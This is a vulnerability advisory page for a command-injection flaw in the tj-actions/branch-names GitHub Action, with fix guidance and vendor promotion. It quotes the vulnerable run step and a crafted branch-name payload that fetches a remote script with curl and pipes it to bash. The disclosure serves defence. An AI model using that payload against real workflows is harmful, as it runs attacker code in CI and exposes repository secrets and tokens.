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📦 GitHub Actions

GHSA-8v8w-v8xg-79rf

CRITICAL

tj-actions/branch-names's Improper Sanitization of Branch Name Leads to Arbitrary Code Injection

Also known asCVE-2023-49291
Published
Dec 5, 2023
Updated
Dec 6, 2023
Affected
1 pkg
Patched
1 / 1
Exploits
2 known

EPSS Exploitation Probability

via FIRST.org ↗
1.4%probability of exploitation in next 30 days
Lower Risk70th percentile+0.32%
0.41%0.92%1.43%1.95%0.9%1.4%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
📦tj-actions/branch-names

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects GitHub Actions packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The tj-actions/branch-names GitHub Actions references the github.event.pull_request.head.ref and github.head_ref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.

Details

The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.

runs:
  using: "composite"
  steps:
    - id: branch
      run: |
        # "Set branch names..."
        if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then
          BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}")
          HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}")
          REF=$(printf "%q" "${{ github.ref }}")

An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.

Impact

An attacker can use this vulnerability to steal secrets from or abuse GITHUB_TOKEN permissions.

Reference

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦GitHub Actionstj-actions/branch-namesall versions7.0.7
Exploits & PoCs
2

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tj-actions/branch-names. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update tj-actions/branch-names to 7.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8v8w-v8xg-79rf is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-8v8w-v8xg-79rf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-8v8w-v8xg-79rf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The `tj-actions/branch-names` GitHub Actions references the `github.event.pull_request.head.ref` and `github.head_ref` context variables within a GitHub Actions `run` step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name. ### Details The vulnerable code is within the `action.yml` file the `run` step references the value directly, instead of a sanitized variable. ```yml runs: using: "composite" steps: - id: branch run: | # "Set branch names..." if [[ "${{ github.ref }}" != "re
O3 Security · Impact-Aware SCA

Is GHSA-8v8w-v8xg-79rf in your dependencies?

O3 detects GHSA-8v8w-v8xg-79rf across GitHub Actions dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.